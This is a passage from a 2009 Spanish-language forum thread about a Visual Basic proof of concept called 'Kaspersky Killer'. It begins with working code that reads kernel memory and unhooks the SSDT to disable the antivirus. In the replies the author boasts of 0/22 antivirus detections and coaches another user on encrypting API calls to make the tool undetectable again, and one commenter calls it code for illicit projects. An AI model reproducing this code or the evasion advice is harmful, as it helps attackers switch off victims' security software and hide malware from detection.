  231.        Assert .Magic = &H10B
  232.    End With
  233.    pService = hKernel + dwKiServiceTable
  234.    Do While DwordFromPtr(pService) - NtHeader.ImageBase < NtHeader.SizeOfImage
  235.        Address1(dwServices) = DwordFromPtr(pService) - NtHeader.ImageBase + dwKernelBase
  236.        pService = pService + 4
  237.        dwServices = dwServices + 1
  238.    Loop
  239.    FreeLibrary hKernel
  240.    Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long
  241.    With QueryBuff
  242.        .Address = dwKernelBase + dwKiServiceTable
  243.        .pData = VarPtr(Address2(0))
  244.        .Length = dwServices * 4
  245.    End With
  246.    ZwSystemDebugControl SysDbgReadVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
  247.    Length = DwordFromPtr(VarPtr(Buff(0)))
  248.    For I = 0 To Length - 1
  249.        With ModuleInformationFromPtr(VarPtr(Buff(I * 284 + 4)))
  250.            For j = 0 To dwServices - 1
  251.                If Address2(j) >= .Base And Address2(j) < .Base + .Size Then
  252.                    ModuleName(j) = StringFromPtr(VarPtr(.ImageName(0)))
  253.                End If
  254.            Next
  255.        End With
  256.    Next
  257.        For I = 0 To dwServices - 1
  258.            If Address1(I) <> Address2(I) Then
  259.                RecoverSSDT I
  260.                WriteSSDT
  261.            End If
  262.        Next
  263. End Sub
  264.  
  265. Private Function StringFromPtr(ByVal pString As Long) As String
  266.    Dim Buff() As Byte, Length As Long
  267.    Length = lstrlen(pString)
  268.    If Length = 0 Then Exit Function
  269.    ReDim Buff(Length - 1)
  270.    CopyMemory VarPtr(Buff(0)), pString, Length
  271.    StringFromPtr = StrConv(Buff, vbUnicode)
  272. End Function
  273.  
  274. Public Sub FindNtdllExport()
  275.    Dim DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER, ExportDirectory As IMAGE_EXPORT_DIRECTORY
  276.    Dim I As Long, hNtdll As Long, FuncRVA() As Long, NameRVA() As Long, Ordinal() As Integer, ThisName As String, ThisNumber As Long
  277.    hNtdll = GetModuleHandle("ntdll.dll")
  278.    Assert hNtdll <> 0
  279.    CopyMemory VarPtr(DosHeader), hNtdll, 64
  280.    With DosHeader
  281.        Assert .e_magic = &H5A4D
  282.        CopyMemory VarPtr(NtHeader), hNtdll + .e_lfanew, 128
  283.    End With
  284.    With NtHeader
  285.        Assert .Signature = &H4550
  286.        Assert .Magic = &H10B
  287.        Assert .SizeOfOptionalHeader >= 104
  288.        Assert .NumberOfRvaAndSizes >= 1
  289.        Assert .ExportTableSize >= 40
  290.        CopyMemory VarPtr(ExportDirectory), hNtdll + .ExportTableRva, 40
  291.    End With
  292.    With ExportDirectory
  293.        Assert StringFromPtr(.name + hNtdll) = "ntdll.dll"
  294.        ReDim FuncRVA(.NumberOfFunctions - .Base), NameRVA(.NumberOfNames - 1), Ordinal(.NumberOfNames - 1)
  295.        CopyMemory VarPtr(FuncRVA(0)), hNtdll + .AddressOfFunctions + .Base * 4, (.NumberOfFunctions - .Base) * 4
  296.        CopyMemory VarPtr(NameRVA(0)), hNtdll + .AddressOfNames, .NumberOfNames * 4
  297.        CopyMemory VarPtr(Ordinal(0)), hNtdll + .AddressOfOrdinals, .NumberOfNames * 2
  298.        For I = 0 To .NumberOfNames - 1
  299.            ThisName = StringFromPtr(hNtdll + NameRVA(I))
  300.        Next
  301.    End With
  302. End Sub
  303.  
  304. Public Function ReadMemory(ByVal Address As Long, ByVal Length As Long) As Byte()
  305.    Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long, Buff() As Byte
  306.    ReDim Buff(Length - 1)
  307.    With QueryBuff
  308.        .Address = Address
  309.        .pData = VarPtr(Buff(0))
  310.        .Length = Length
  311.    End With
  312.    ZwSystemDebugControl SysDbgReadVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
  313.    If ReturnLength = Length Then ReadMemory = Buff
  314. End Function
  315.  
  316. Public Sub Assert(ByVal bBool As Boolean)
  317.    If Not bBool Then
  318.        MsgBox "Assertion Failed!", vbCritical, "Error"
  319.        End
  320.    End If
  321. End Sub
  322.  



Título: Re: [POC] Kaspersky Killer
Publicado por: Karcrack en 13 Abril 2009, 22:52 pm
 :o Buen trabajo ;)

Solo una duda... necesita reinicio? :-\


Título: Re: [POC] Kaspersky Killer
Publicado por: el_c0c0 en 13 Abril 2009, 23:54 pm
che esta muy bueno, me intereso mucho el tema del des-hookeo de las SSDT, cosa que solo se podia lograr con programas como el IceSword o similes.
ahora habria que probarlo. yo sinceramente no uso KAV porque me parece malo, pero en fin, esta bueno meter el code este para proyectos no debidos :P

en fin, gracias por el aporte!

saludos


Título: Re: [POC] Kaspersky Killer
Publicado por: XcryptOR en 14 Abril 2009, 01:00 am
:o Buen trabajo ;)

Solo una duda... necesita reinicio? :-\

No para nada, lo probe en win XP sp3 y funciona muy bien


Título: Re: [POC] Kaspersky Killer
Publicado por: seba123neo en 14 Abril 2009, 03:31 am
no tengo para probarlo, pero confio en que anda  :), y por fin alguien que postea prolijo con las etiquetas de visual basic...

saludos.


Título: Re: [POC] Kaspersky Killer
Publicado por: Hendrix en 14 Abril 2009, 14:33 pm
Pero esto solo repara la tabla SSDT, la Shadow SSDT no la repara y el driver del KAV tiene hooks hay....

Buen código  ;) felicidades


Título: Re: [POC] Kaspersky Killer
Publicado por: Pablo Videla en 14 Abril 2009, 14:41 pm
Agregado a mis marcadores  ;-)


Título: Re: [POC] Kaspersky Killer
Publicado por: XcryptOR en 14 Abril 2009, 21:21 pm
Pero esto solo repara la tabla SSDT, la Shadow SSDT no la repara y el driver del KAV tiene hooks hay....

Buen código  ;) felicidades

gracias Hendrix, no se que apis tenga en la shadow SSDT pero al limpiar la SSDT y terminar el proceso AVP.exe el driver se puede eliminar y kaspersky queda deshabilitado, no mas defensa proactiva


Título: Re: [POC] Kaspersky Killer
Publicado por: Novlucker en 14 Abril 2009, 21:25 pm
Interesante code  :P

Saludos

P.D: no debería de ir a "Análisis y diseño de malware"?


Título: Re: [POC] Kaspersky Killer
Publicado por: Distorsion en 14 Abril 2009, 21:34 pm
Al ejecutarse no muestra un cartelito avisando que el programa intenta obteber privilegios de depuracion?


Título: Re: [POC] Kaspersky Killer
Publicado por: XcryptOR en 14 Abril 2009, 21:45 pm
Al ejecutarse no muestra un cartelito avisando que el programa intenta obteber privilegios de depuracion?

no se si tal vez vieras el video...., bueno esta probado en mi VM, antes deberias testearlo y despues si presenta algun error o mensaje comentarlo para depurarlo, no cres?


Título: Re: [POC] Kaspersky Killer
Publicado por: seclogman en 14 Abril 2009, 21:55 pm
me quito el sombrero, excelente code


Título: Re: [POC] Kaspersky Killer
Publicado por: Distorsion en 14 Abril 2009, 21:57 pm
Era una pregunta retorica, bueno en el foro no se aprecia bien. El Kis alerta de la escalada de privilegios a depuracion y muestra un cartelito bien gordo.

Saludos.


Título: Re: [POC] Kaspersky Killer
Publicado por: XcryptOR en 15 Abril 2009, 00:17 am
es solo un Proof Of Concept, como dije se puede optimizar muchisimo, por ejemplo para que trabaje en vista creo que hay que tener en cuenta la ASLR, y que el driver de filtrado NDIS que en XP se llama klim5 en vista se llama klim6, etc... cosas por el estilo, como mencione es solo un POC.

saludos no lo he probado con el KIS pero si ya tengo tiempo o alguien lo hace seria genial.

saludos  ;D


Título: Re: [POC] Kaspersky Killer
Publicado por: ‭‭‭‭jackl007 en 15 Abril 2009, 02:42 am
Este codigo es una reliquia; mis felicidades por tu trabajo, te lo meceres!

SALUDOS XcryptOR


Título: Re: [POC] Kaspersky Killer
Publicado por: Dessa en 15 Abril 2009, 03:28 am
 ;-)


Título: Re: [POC] Kaspersky Killer
Publicado por: XcryptOR en 15 Abril 2009, 03:59 am
Era una pregunta retorica, bueno en el foro no se aprecia bien. El Kis alerta de la escalada de privilegios a depuracion y muestra un cartelito bien gordo.

Saludos.

para nada instale el KIS 2009 version 8 y lo elimino inmediatamente, ni siquiera lo agrego a la zona minima de restricciones, apenas basto un click para que el driver y los procesos fueran eliminados y despues del reinicio tampoco ni rastros del KIS (exepto por lo del menu contextual que muestra el letrero de scan como desactivado), no se que pasa con tu sistema o si tienes configurado de una forma diferente el KIS, yo solo lo instale de la forma estandar la que se instala en un 90% de los PCs con KIS.

saludos


Título: Re: [POC] Kaspersky Killer
Publicado por: XcryptOR en 15 Abril 2009, 04:47 am
mira como no me gusta solo hablar aqui te dejo un video de como jodo al KIS 2009 version 8.0.0.454 y de lo que tu me hablas no se por donde, la verdad ni idea de lo del cartelito ni de las sospechas de ejecución de privilegio de debug  :huh:

pueden hacer click sobre el video para ir a youtube y verlo en pantalla completa y en HD (High Definition) Alta definición

Peaw7DSttqo

y algo mejor es indetectable a los AVs

File Info

Report generated: 14.4.2009 at 1.22.13 (GMT 1)
Filename: kavkill.exe
File size: 27 KB
MD5 Hash: F1453F966356F2F8C6E832FD8A1191AA
SHA1 Hash: F23C810CA3F106C206A869A32D1D985D950BAF25
Packer detected: Microsoft Visual Basic 5.0 / 6.0
Self-Extract Archive: Nothing found
Binder Detector:  Nothing found
Detection rate: 0 on 22

Detections

a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
Comodo - Nothing found! 
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
G DATA - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found! 
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found! 
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Nothing found!
Solo Antivirus - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!   
Virus Buster - Nothing found!

Scan report generated by 
NoVirusThanks.org (http://novirusthanks.org)


y este es el reporte de virustotal:

 http://www.virustotal.com/es/analisis/8ccb0571ea94605fa687362fbfcbafae


Título: Re: [POC] Kaspersky Killer
Publicado por: LeandroA en 15 Abril 2009, 06:21 am
Muy buen code, no lo entiendo, pero es bueno jeje

Saludos


Título: Re: [POC] Kaspersky Killer
Publicado por: BlackZeroX en 15 Abril 2009, 06:57 am
Muy buen code, no lo entiendo, pero es bueno jeje

Saludos

si la cosa esta asi los demás estamos fritos ¬¬" (no todos vdd)

Excepsional source

Dulces Lunas.


Título: Re: [POC] Kaspersky Killer
Publicado por: Littlehorse en 15 Abril 2009, 16:43 pm
Excelente  ;-)


Título: Re: [POC] Kaspersky Killer
Publicado por: ‭‭‭‭jackl007 en 15 Abril 2009, 19:49 pm
mi pregunta es donde has encontrado toda la informacion necesaria para la elaboracion del code?
como has estado investigando al kis?; porque esto parecia imposible de realizar en vb; y asombra, por eso lo digo...


Título: Re: [POC] Kaspersky Killer
Publicado por: invisible_hack en 15 Abril 2009, 19:58 pm
Citar
porque esto parecia imposible de realizar en vb; y asombra, por eso lo digo

Bueno, creo que precisamente eras tu el que tenias hace tiempo puesto en la firma (o en el texto personalizado, no sé) algo asi como "lo imposible es imposible hasta que alguien lo consigue", o algo que venia a significar lo mismo...asi que en este caso viene bien aplicar esa frase jeje  :P

Una cosa es que no se pueda hacer y otra cosa es que se pueda hacer pero que nadie se hubiese tomado aún el tiempo necesario como para sacarlo ^^

Bueno, perdonen por este pequeño Off topic jeje, pero me pareció interesante recalcar eso, además VB es uno de los lenguajes en que se puede hacer casi todo lo imaginable, pero claro, todo depende del ingenio del programador.

P.D. si no fuiste tu el que tenias esa frase disculpa, pero sé que a alguien se la vi puesta hace tiempo  :xD

Saludos ^^


Título: Re: [POC] Kaspersky Killer
Publicado por: XcryptOR en 15 Abril 2009, 20:10 pm
mira muchos me dijeron que desde VB no era factible, que se necesitaba un driver en c corriendo en modo kernel en fin nadie confiaba que se pudiera eliminar al kasper desde modo usuario en vb, y como dice invisible_hack no hay cosas imposibles. fue dificil en especial lo del unhook de las apis como veran el modulo mas complejo y gracias a Iceboy por su code, magistral los creditos para el.  muchas gracias a todos.  ;D ;D


Título: Re: [POC] Kaspersky Killer
Publicado por: Arkangel_0x7C5 en 16 Abril 2009, 04:05 am
muy buen code mi amigo XcryptOR


Título: Re: [POC] Kaspersky Killer
Publicado por: XcryptOR en 16 Abril 2009, 04:24 am
Salio de nuestro laboratorio, jeje muchas gracias compañero


Título: Re: [POC] Kaspersky Killer
Publicado por: ‭‭‭‭jackl007 en 16 Abril 2009, 04:30 am
si no me equivoco creo que fue Hendrix quien dijo que no era posible (no recuerdo bien), Hendrix conoce bien el tema; al menos en la epoca en que lo dijo era imposible, ahora nos han demostrado que ya no lo es...
Yo no ando metido mucho en este tema, pero si lo dice un experto, hay que considerarlol...


Título: Re: [POC] Kaspersky Killer
Publicado por: Arkangel_0x7C5 en 16 Abril 2009, 12:11 pm
tan bien se podría escribir en la memoria del nucleo con create file a \.\PhysicalMemory y luego mapeandolo en memoria.

Saludos


Título: Re: [POC] Kaspersky Killer
Publicado por: Hendrix en 16 Abril 2009, 12:16 pm
tan bien se podría escribir en la memoria del nucleo con create file a \.\PhysicalMemory y luego mapeandolo en memoria.

Saludos

Exacto, es el unico metodo que conocia para escribir en el kernel en modo usuario....

http://archive.cert.uni-stuttgart.de/bugtraq/2004/02/msg00512.html

Citar
Tested systems
==============

Windows XP Pro SP1 with latest patches

It's likely that Windows 2003 also is vulnerable.


ZwSystemDebugControl(), exported from ntdll.dll, calls a Windows operating system function NtSystemDebugControl(). This function is executed in ring 0 (kernel mode) and is meant to be used by user mode debuggers having the SeDebugPrivilege privilege.



Título: Re: [POC] Kaspersky Killer
Publicado por: Distorsion en 16 Abril 2009, 17:24 pm
En nivel de seguridad tengo puesto: recomendado, y en caso de deteccion: preguntar por la acción.

Vamos una configuración bastante estandar, auque no se si es la que venia por defecto al instalarlo, puede que lo modificara.

Saludos.


Título: Re: [POC] Kaspersky Killer
Publicado por: F3RH4CK en 11 Mayo 2009, 06:00 am
me sale que hay error en una sub no definida OpenProcess


Título: Re: [POC] Kaspersky Killer
Publicado por: locot3 en 14 Mayo 2009, 16:49 pm
Exelente CODIGO !! hahah , gracias por compartir, ahora Un pregunta :
al principio del codigo dice que cuando el equipo reinicie ya no tendra conexion a internet en la parte de BUGS ,, ?¿?¿ entendi bien o mi ingles no anda muy bien ?? heheh gracias !!


Título: Re: [POC] Kaspersky Killer
Publicado por: XcryptOR en 14 Mayo 2009, 17:25 pm
el problema es con el driver klim5 del kaspersky que actua como filtro NDIS , y como al eliminar su servicio desde la entrada en el registro este ya no va mas entonces debes desintalarlo o limpiar la stack  TCP/IP pero eso no es problema el codigo tiene una funcion que trabaja para resolver el problema, ahora si lo malo de este code es que como una gran mayoria de personas lo ha usado ya no es indetectable, es detectado por varios antivirus como w32.atraps.gen. no se hay muchas cosas en el codigo que no son necesarias, depura el code y cifra las apis para que siga trabajando yo ya lo hize y esta otra vez FUD y trabajando mejor que nunca, ya no presenta bugs, ni tanto codigo.

saludos


Título: Re: [POC] Kaspersky Killer
Publicado por: locot3 en 14 Mayo 2009, 19:17 pm
ok super! entonces cambiando nombres a algunas raiables y cosas asi creo que podre hacerlo pasar desapercivido pero eso de cifrar las apis ni idea algun ejempito ??
hahha muchas gracias y hasta luego ç1!!!


Título: Re: [POC] Kaspersky Killer
Publicado por: XcryptOR en 14 Mayo 2009, 19:22 pm
el solo cambiar el nombre de las variables no basta, mira por aqui hay algo de Cobein la función se llama CallApiByName. me gustaria yudarte más pero estoy corto de tiempo saludos.


Título: Re: [POC] Kaspersky Killer
Publicado por: c4st0r en 3 Julio 2009, 18:58 pm
Buenisimo aporte, me gustaria saber si ese code le ha fucnionado a alguien, estoy pasando el modulo del Unhook Api a ASm pero he visto que en esta parte del modulo
Do While bFirstChunk Or CBool(BaseRelocationFromPtr(pbr).VirtualAddress)

pbr previamente no tiene ningun valor, es decir de NULL, entonces al querer copiar desde 0 la memoria, el code peta en esta funcion

Private Function BaseRelocationFromPtr(ByVal pbr As Long) As IMAGE_BASE_RELOCATION
    CopyMemory VarPtr(BaseRelocationFromPtr), pbr, 8
End Function

alguna sugerenica XCryptOR gracias


Título: Re: [POC] Kaspersky Killer
Publicado por: javi_SS en 5 Julio 2009, 13:51 pm
que compilardor necesito para este code??
tengo el c++, es el que usamos en mi carrera.
me podrian madar un enlace para descargar el killer complidao??


Título: Re: [POC] Kaspersky Killer
Publicado por: Fran_Al en 5 Julio 2009, 13:53 pm
gracias por el aporte compañero, se agradece bastante

salu2


Título: Re: [POC] Kaspersky Killer
Publicado por: YST en 7 Julio 2009, 05:24 am
que compilardor necesito para este code??
tengo el c++, es el que usamos en mi carrera.
me podrian madar un enlace para descargar el killer complidao??
Si esttamos en la sección de Visual basic obviamente se necesita Visual baSIC 6 :Xd


Título: Re: [POC] Kaspersky Killer
Publicado por: javi_SS en 7 Julio 2009, 14:50 pm
GRACIAS